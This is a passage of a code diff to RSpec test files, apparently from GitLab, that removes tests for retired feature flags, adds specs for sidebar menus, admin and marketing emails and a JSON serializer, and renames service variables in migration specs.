--- a/spec/lib/object_storage/direct_upload_spec.rb
+++ b/spec/lib/object_storage/direct_upload_spec.rb
@@ -136,16 +136,6 @@ RSpec.describe ObjectStorage::DirectUpload do
end
end
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(use_workhorse_s3_client: false)
- end
-
- it 'does not enable Workhorse client' do
- expect(subject[:UseWorkhorseClient]).to be false
- end
- end
-
context 'when V2 signatures are used' do
before do
credentials[:aws_signature_version] = 2
diff --git a/spec/lib/security/ci_configuration/sast_build_action_spec.rb b/spec/lib/security/ci_configuration/sast_build_action_spec.rb
index 5337e8d9c39..d93175249f5 100644
--- a/spec/lib/security/ci_configuration/sast_build_action_spec.rb
+++ b/spec/lib/security/ci_configuration/sast_build_action_spec.rb
@@ -323,6 +323,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -342,6 +343,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -358,6 +360,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -380,6 +383,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -415,6 +419,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -439,6 +444,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -461,6 +467,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -484,6 +491,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -507,6 +515,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
diff --git a/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb b/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
index f6181c6ef7a..146c60ffb6e 100644
--- a/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
+++ b/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -62,6 +63,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
@@ -111,6 +113,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
include:
@@ -131,6 +134,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# You can override the included template(s) by including variable overrides
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
+ # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings
# Note that environment variables can be set in several places
# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
include:
diff --git a/spec/lib/serializers/symbolized_json_spec.rb b/spec/lib/serializers/symbolized_json_spec.rb
new file mode 100644
index 00000000000..b30fb074ddd
--- /dev/null
+++ b/spec/lib/serializers/symbolized_json_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Serializers::SymbolizedJson do
+ describe '.dump' do
+ let(:obj) { { key: "value" } }
+
+ subject { described_class.dump(obj) }
+
+ it 'returns a hash' do
+ is_expected.to eq(obj)
+ end
+ end
+
+ describe '.load' do
+ let(:data_string) { '{"key":"value","variables":[{"key":"VAR1","value":"VALUE1"}]}' }
+ let(:data_hash) { Gitlab::Json.parse(data_string) }
+
+ context 'when loading a hash' do
+ subject { described_class.load(data_hash) }
+
+ it 'decodes a string' do
+ is_expected.to be_a(Hash)
+ end
+
+ it 'allows to access with symbols' do
+ expect(subject[:key]).to eq('value')
+ expect(subject[:variables].first[:key]).to eq('VAR1')
+ end
+ end
+
+ context 'when loading a nil' do
+ subject { described_class.load(nil) }
+
+ it 'returns nil' do
+ is_expected.to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/lib/sidebars/projects/menus/deployments_menu_spec.rb b/spec/lib/sidebars/projects/menus/deployments_menu_spec.rb
index 4a60dfde674..3149c316c63 100644
--- a/spec/lib/sidebars/projects/menus/deployments_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/deployments_menu_spec.rb
@@ -39,33 +39,22 @@ RSpec.describe Sidebars::Projects::Menus::DeploymentsMenu do
end
end
- shared_examples 'feature flag :sidebar_refactor disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { is_expected.to be_nil }
- end
-
describe 'Feature Flags' do
let(:item_id) { :feature_flags }
it_behaves_like 'access rights checks'
- it_behaves_like 'feature flag :sidebar_refactor disabled'
end
describe 'Environments' do
let(:item_id) { :environments }
it_behaves_like 'access rights checks'
- it_behaves_like 'feature flag :sidebar_refactor disabled'
end
describe 'Releases' do
let(:item_id) { :releases }
it_behaves_like 'access rights checks'
- it_behaves_like 'feature flag :sidebar_refactor disabled'
end
end
end
diff --git a/spec/lib/sidebars/projects/menus/infrastructure_menu_spec.rb b/spec/lib/sidebars/projects/menus/infrastructure_menu_spec.rb
new file mode 100644
index 00000000000..2415598da9c
--- /dev/null
+++ b/spec/lib/sidebars/projects/menus/infrastructure_menu_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::InfrastructureMenu do
+ let(:project) { build(:project) }
+ let(:user) { project.owner }
+ let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project, show_cluster_hint: false) }
+
+ describe '#render?' do
+ subject { described_class.new(context) }
+
+ context 'when menu does not have any menu items' do
+ it 'returns false' do
+ allow(subject).to receive(:has_renderable_items?).and_return(false)
+
+ expect(subject.render?).to be false
+ end
+ end
+
+ context 'when menu has menu items' do
+ it 'returns true' do
+ expect(subject.render?).to be true
+ end
+ end
+ end
+
+ describe '#link' do
+ subject { described_class.new(context) }
+
+ context 'when Kubernetes menu item is visible' do
+ it 'menu link points to Kubernetes page' do
+ expect(subject.link).to eq find_menu_item(:kubernetes).link
+ end
+ end
+
+ context 'when Kubernetes menu item is not visible' do
+ before do
+ subject.renderable_items.delete(find_menu_item(:kubernetes))
+ end
+
+ it 'menu link points to Serverless page' do
+ expect(subject.link).to eq find_menu_item(:serverless).link
+ end
+
+ context 'when Serverless menu is not visible' do
+ before do
+ subject.renderable_items.delete(find_menu_item(:serverless))
+ end
+
+ it 'menu link points to Terraform page' do
+ expect(subject.link).to eq find_menu_item(:terraform).link
+ end
+ end
+ end
+
+ def find_menu_item(menu_item)
+ subject.renderable_items.find { |i| i.item_id == menu_item }
+ end
+ end
+
+ describe 'Menu Items' do
+ subject { described_class.new(context).renderable_items.index { |e| e.item_id == item_id } }
+
+ shared_examples 'access rights checks' do
+ specify { is_expected.not_to be_nil }
+
+ describe 'when the user does not have access' do
+ let(:user) { nil }
+
+ specify { is_expected.to be_nil }
+ end
+ end
+
+ describe 'Kubernetes' do
+ let(:item_id) { :kubernetes }
+
+ it_behaves_like 'access rights checks'
+ end
+
+ describe 'Serverless' do
+ let(:item_id) { :serverless }
+
+ it_behaves_like 'access rights checks'
+ end
+
+ describe 'Terraform' do
+ let(:item_id) { :terraform }
+
+ it_behaves_like 'access rights checks'
+ end
+ end
+end
diff --git a/spec/lib/sidebars/projects/menus/issues_menu_spec.rb b/spec/lib/sidebars/projects/menus/issues_menu_spec.rb
index ac62cd7594a..e5d486bbe8f 100644
--- a/spec/lib/sidebars/projects/menus/issues_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/issues_menu_spec.rb
@@ -65,22 +65,4 @@ RSpec.describe Sidebars::Projects::Menus::IssuesMenu do
end
end
end
-
- describe 'Menu Items' do
- subject { described_class.new(context).renderable_items.index { |e| e.item_id == item_id } }
-
- describe 'Labels' do
- let(:item_id) { :labels }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { is_expected.not_to be_nil }
- end
- end
- end
end
diff --git a/spec/lib/sidebars/projects/menus/labels_menu_spec.rb b/spec/lib/sidebars/projects/menus/labels_menu_spec.rb
deleted file mode 100644
index e1420f9e61b..00000000000
--- a/spec/lib/sidebars/projects/menus/labels_menu_spec.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Sidebars::Projects::Menus::LabelsMenu do
- let(:project) { build(:project) }
- let(:user) { project.owner }
- let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
-
- subject { described_class.new(context) }
-
- it 'does not contain any sub menu' do
- expect(subject.has_items?).to eq false
- end
-
- describe '#render?' do
- let(:issues_enabled) { true }
-
- before do
- allow(project).to receive(:issues_enabled?).and_return(issues_enabled)
- end
-
- context 'when feature flag :sidebar_refactor is enabled' do
- let(:issues_enabled) { false }
-
- it 'returns false' do
- expect(subject.render?).to be_falsey
- end
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- context 'when user can read labels' do
- context 'when issues feature is enabled' do
- it 'returns false' do
- expect(subject.render?).to be_falsey
- end
- end
-
- context 'when issues feature is disabled' do
- let(:issues_enabled) { false }
-
- it 'returns true' do
- expect(subject.render?).to be_truthy
- end
- end
- end
-
- context 'when user cannot read labels' do
- let(:user) { nil }
-
- it 'returns false' do
- expect(subject.render?).to be_falsey
- end
- end
- end
- end
-end
diff --git a/spec/lib/sidebars/projects/menus/members_menu_spec.rb b/spec/lib/sidebars/projects/menus/members_menu_spec.rb
deleted file mode 100644
index dcc085c2957..00000000000
--- a/spec/lib/sidebars/projects/menus/members_menu_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Sidebars::Projects::Menus::MembersMenu do
- let(:project) { build(:project) }
- let(:user) { project.owner }
- let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
-
- subject { described_class.new(context) }
-
- describe '#render?' do
- it 'returns false' do
- expect(subject.render?).to eq false
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'returns true' do
- expect(subject.render?).to eq true
- end
-
- context 'when user cannot access members' do
- let(:user) { nil }
-
- it 'returns false' do
- expect(subject.render?).to eq false
- end
- end
- end
- end
-end
diff --git a/spec/lib/sidebars/projects/menus/monitor_menu_spec.rb b/spec/lib/sidebars/projects/menus/monitor_menu_spec.rb
index 93618fa3321..381842be5ab 100644
--- a/spec/lib/sidebars/projects/menus/monitor_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/monitor_menu_spec.rb
@@ -41,43 +41,30 @@ RSpec.describe Sidebars::Projects::Menus::MonitorMenu do
it 'returns "Monitor"' do
expect(subject.title).to eq 'Monitor'
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'returns "Operations"' do
- stub_feature_flags(sidebar_refactor: false)
-
- expect(subject.title).to eq 'Operations'
- end
- end
end
describe '#extra_container_html_options' do
it 'returns "shortcuts-monitor"' do
expect(subject.extra_container_html_options).to eq(class: 'shortcuts-monitor')
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'returns "shortcuts-operations"' do
- stub_feature_flags(sidebar_refactor: false)
-
- expect(subject.extra_container_html_options).to eq(class: 'shortcuts-operations')
- end
- end
end
describe '#link' do
- context 'when metrics dashboard is visible' do
- it 'returns link to the metrics dashboard page' do
- expect(subject.link).to include('/-/environments/metrics')
- end
+ let(:foo_path) { '/foo_path'}
+
+ let(:foo_menu) do
+ ::Sidebars::MenuItem.new(
+ title: 'foo',
+ link: foo_path,
+ active_routes: {},
+ item_id: :foo
+ )
end
- context 'when metrics dashboard is not visible' do
- it 'returns link to the feature flags page' do
- project.project_feature.update!(operations_access_level: Featurable::DISABLED)
+ it 'returns first visible item link' do
+ subject.insert_element_before(subject.renderable_items, subject.renderable_items.first.item_id, foo_menu)
- expect(subject.link).to include('/-/feature_flags')
- end
+ expect(subject.link).to eq foo_path
end
end
@@ -130,76 +117,6 @@ RSpec.describe Sidebars::Projects::Menus::MonitorMenu do
it_behaves_like 'access rights checks'
end
- describe 'Serverless' do
- let(:item_id) { :serverless }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it_behaves_like 'access rights checks'
- end
- end
-
- describe 'Terraform' do
- let(:item_id) { :terraform }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it_behaves_like 'access rights checks'
- end
- end
-
- describe 'Kubernetes' do
- let(:item_id) { :kubernetes }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it_behaves_like 'access rights checks'
- end
- end
-
- describe 'Environments' do
- let(:item_id) { :environments }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it_behaves_like 'access rights checks'
- end
- end
-
- describe 'Feature Flags' do
- let(:item_id) { :feature_flags }
-
- specify { is_expected.to be_nil }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it_behaves_like 'access rights checks'
- end
- end
-
describe 'Product Analytics' do
let(:item_id) { :product_analytics }
diff --git a/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb b/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
index 748796bc7ee..7e8d0ab0518 100644
--- a/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Sidebars::Projects::Menus::ProjectInformationMenu do
- let_it_be(:project) { create(:project, :repository) }
+ let_it_be_with_reload(:project) { create(:project, :repository) }
let(:user) { project.owner }
let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
@@ -12,59 +12,36 @@ RSpec.describe Sidebars::Projects::Menus::ProjectInformationMenu do
subject { described_class.new(context).container_html_options }
specify { is_expected.to match(hash_including(class: 'shortcuts-project-information has-sub-items')) }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { is_expected.to match(hash_including(class: 'shortcuts-project rspec-project-link has-sub-items')) }
- end
end
describe 'Menu Items' do
subject { described_class.new(context).renderable_items.index { |e| e.item_id == item_id } }
- describe 'Releases' do
- let(:item_id) { :releases }
+ describe 'Labels' do
+ let(:item_id) { :labels }
- specify { is_expected.to be_nil }
+ specify { is_expected.not_to be_nil }
- context 'when feature flag :sidebar_refactor is disabled' do
+ context 'when merge requests are disabled' do
before do
- stub_feature_flags(sidebar_refactor: false)
+ project.project_feature.update_attribute(:merge_requests_access_level, Featurable::DISABLED)
end
- context 'when project repository is empty' do
- it 'does not include releases menu item' do
- allow(project).to receive(:empty_repo?).and_return(true)
+ specify { is_expected.not_to be_nil }
+ end
- is_expected.to be_nil
- end
+ context 'when issues are disabled' do
+ before do
+ project.project_feature.update_attribute(:issues_access_level, Featurable::DISABLED)
end
- context 'when project repository is not empty' do
- context 'when user can download code' do
- specify { is_expected.not_to be_nil }
- end
-
- context 'when user cannot download code' do
- let(:user) { nil }
-
- specify { is_expected.to be_nil }
- end
- end
+ specify { is_expected.not_to be_nil }
end
- end
-
- describe 'Labels' do
- let(:item_id) { :labels }
-
- specify { is_expected.not_to be_nil }
- context 'when feature flag :sidebar_refactor is disabled' do
+ context 'when merge requests and issues are disabled' do
before do
- stub_feature_flags(sidebar_refactor: false)
+ project.project_feature.update_attribute(:merge_requests_access_level, Featurable::DISABLED)
+ project.project_feature.update_attribute(:issues_access_level, Featurable::DISABLED)
end
specify { is_expected.to be_nil }
@@ -76,10 +53,8 @@ RSpec.describe Sidebars::Projects::Menus::ProjectInformationMenu do
specify { is_expected.not_to be_nil }
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
+ describe 'when the user does not have access' do
+ let(:user) { nil }
specify { is_expected.to be_nil }
end
diff --git a/spec/lib/sidebars/projects/menus/scope_menu_spec.rb b/spec/lib/sidebars/projects/menus/scope_menu_spec.rb
index f84d458a2e1..5040ef9b0ff 100644
--- a/spec/lib/sidebars/projects/menus/scope_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/scope_menu_spec.rb
@@ -11,13 +11,5 @@ RSpec.describe Sidebars::Projects::Menus::ScopeMenu do
subject { described_class.new(context).container_html_options }
specify { is_expected.to match(hash_including(class: 'shortcuts-project rspec-project-link')) }
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { is_expected.to eq(aria: { label: project.name }) }
- end
end
end
diff --git a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
index 6817f0e6ed6..9b79614db20 100644
--- a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
@@ -99,14 +99,6 @@ RSpec.describe Sidebars::Projects::Menus::SettingsMenu do
specify { expect(subject.title).to eq 'Monitor' }
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { expect(subject.title).to eq 'Operations' }
- end
-
describe 'when the user does not have access' do
let(:user) { nil }
@@ -159,14 +151,6 @@ RSpec.describe Sidebars::Projects::Menus::SettingsMenu do
specify { is_expected.not_to be_nil }
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- specify { is_expected.to be_nil }
- end
-
describe 'when the user does not have access' do
let(:user) { nil }
diff --git a/spec/mailers/emails/admin_notification_spec.rb b/spec/mailers/emails/admin_notification_spec.rb
new file mode 100644
index 00000000000..90381eb8ffd
--- /dev/null
+++ b/spec/mailers/emails/admin_notification_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Emails::AdminNotification do
+ it 'adds email methods to Notify' do
+ subject.instance_methods.each do |email_method|
+ expect(Notify).to be_respond_to(email_method)
+ end
+ end
+end
diff --git a/spec/mailers/emails/releases_spec.rb b/spec/mailers/emails/releases_spec.rb
index 287971d35a8..d1d7f5e6d6a 100644
--- a/spec/mailers/emails/releases_spec.rb
+++ b/spec/mailers/emails/releases_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe Emails::Releases do
let(:release) { create(:release, project: project, description: "Attachment: [Test file](#{upload_path})") }
it 'renders absolute links' do
- is_expected.to have_body_text(%Q(<a href="#{project.web_url}#{upload_path}" data-link="true" class="gfm">Test file</a>))
+ is_expected.to have_body_text(%Q(<a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">Test file</a>))
end
end
end
diff --git a/spec/mailers/emails/service_desk_spec.rb b/spec/mailers/emails/service_desk_spec.rb
index 995e6c006cd..28011456a66 100644
--- a/spec/mailers/emails/service_desk_spec.rb
+++ b/spec/mailers/emails/service_desk_spec.rb
@@ -115,16 +115,6 @@ RSpec.describe Emails::ServiceDesk do
end
end
- shared_examples 'notification with metric event' do |event_type|
- it 'adds metric event' do
- metric_transaction = double('Gitlab::Metrics::WebTransaction', increment: true, observe: true)
- allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
- expect(metric_transaction).to receive(:add_event).with(event_type)
-
- subject.content_type
- end
- end
-
describe '.service_desk_thank_you_email' do
let_it_be(:reply_in_subject) { true }
let_it_be(:default_text) do
@@ -134,7 +124,6 @@ RSpec.describe Emails::ServiceDesk do
subject { ServiceEmailClass.service_desk_thank_you_email(issue.id) }
it_behaves_like 'read template from repository', 'thank_you'
- it_behaves_like 'notification with metric event', :service_desk_thank_you_email
context 'handling template markdown' do
context 'with a simple text' do
@@ -175,7 +164,6 @@ RSpec.describe Emails::ServiceDesk do
subject { ServiceEmailClass.service_desk_new_note_email(issue.id, note.id, email) }
it_behaves_like 'read template from repository', 'new_note'
- it_behaves_like 'notification with metric event', :service_desk_new_note_email
context 'handling template markdown' do
context 'with a simple text' do
@@ -211,7 +199,7 @@ RSpec.describe Emails::ServiceDesk do
let_it_be(:note) { create(:note_on_issue, noteable: issue, project: project, note: "a new comment with [file](#{upload_path})") }
let(:template_content) { 'some text %{ NOTE_TEXT }' }
- let(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-link="true" class="gfm">file</a>) }
+ let(:expected_body) { %Q(some text a new comment with <a href="#{project.web_url}#{upload_path}" data-canonical-src="#{upload_path}" data-link="true" class="gfm">file</a>) }
it_behaves_like 'handle template content', 'new_note'
end
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index 8ee88776107..ae956adf563 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -1609,6 +1609,32 @@ RSpec.describe Notify do
end
end
end
+
+ describe 'admin notification' do
+ let(:example_site_path) { root_path }
+ let(:user) { create(:user) }
+
+ subject { @email = described_class.send_admin_notification(user.id, 'Admin announcement', 'Text') }
+
+ it 'is sent as the author' do
+ sender = subject.header[:from].addrs[0]
+ expect(sender.display_name).to eq("GitLab")
+ expect(sender.address).to eq(gitlab_sender)
+ end
+
+ it 'is sent to recipient' do
+ is_expected.to deliver_to user.email
+ end
+
+ it 'has the correct subject' do
+ is_expected.to have_subject 'Admin announcement'
+ end
+
+ it 'includes unsubscribe link' do
+ unsubscribe_link = "http://localhost/unsubscribes/#{Base64.urlsafe_encode64(user.email)}"
+ is_expected.to have_body_text(unsubscribe_link)
+ end
+ end
end
describe 'confirmation if email changed' do
@@ -1969,6 +1995,19 @@ RSpec.describe Notify do
end
end
+ describe 'in product marketing', :mailer do
+ let_it_be(:group) { create(:group) }
+
+ let(:mail) { ActionMailer::Base.deliveries.last }
+
+ it 'does not raise error' do
+ described_class.in_product_marketing_email(user.id, group.id, :trial, 0).deliver
+
+ expect(mail.subject).to eq('Go farther with GitLab')
+ expect(mail.body.parts.first.to_s).to include('Start a GitLab Ultimate trial today in less than one minute, no credit card required.')
+ end
+ end
+
def expect_sender(user)
sender = subject.header[:from].addrs[0]
expect(sender.display_name).to eq("#{user.name} (@#{user.username})")
diff --git a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
index 2999332509a..dad95760306 100644
--- a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
@@ -14,11 +14,11 @@ RSpec.describe MigrateIssueTrackersData do
}
end
- let!(:jira_service) do
+ let!(:jira_integration) do
services.create!(type: 'JiraService', properties: properties, category: 'issue_tracker')
end
- let!(:jira_service_nil) do
+ let!(:jira_integration_nil) do
services.create!(type: 'JiraService', properties: nil, category: 'issue_tracker')
end
@@ -26,11 +26,11 @@ RSpec.describe MigrateIssueTrackersData do
services.create!(type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
- let!(:youtrack_service) do
+ let!(:youtrack_integration) do
services.create!(type: 'YoutrackService', properties: properties, category: 'issue_tracker')
end
- let!(:youtrack_service_empty) do
+ let!(:youtrack_integration_empty) do
services.create!(type: 'YoutrackService', properties: '', category: 'issue_tracker')
end
@@ -55,8 +55,8 @@ RSpec.describe MigrateIssueTrackersData do
freeze_time do
migrate!
- expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_integration.id)
- expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_service.id, gitlab_service.id)
+ expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_integration.id, bugzilla_integration.id)
+ expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_integration.id, gitlab_service.id)
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
end
end
diff --git a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
index 5516e2af3f1..cf8bc608483 100644
--- a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
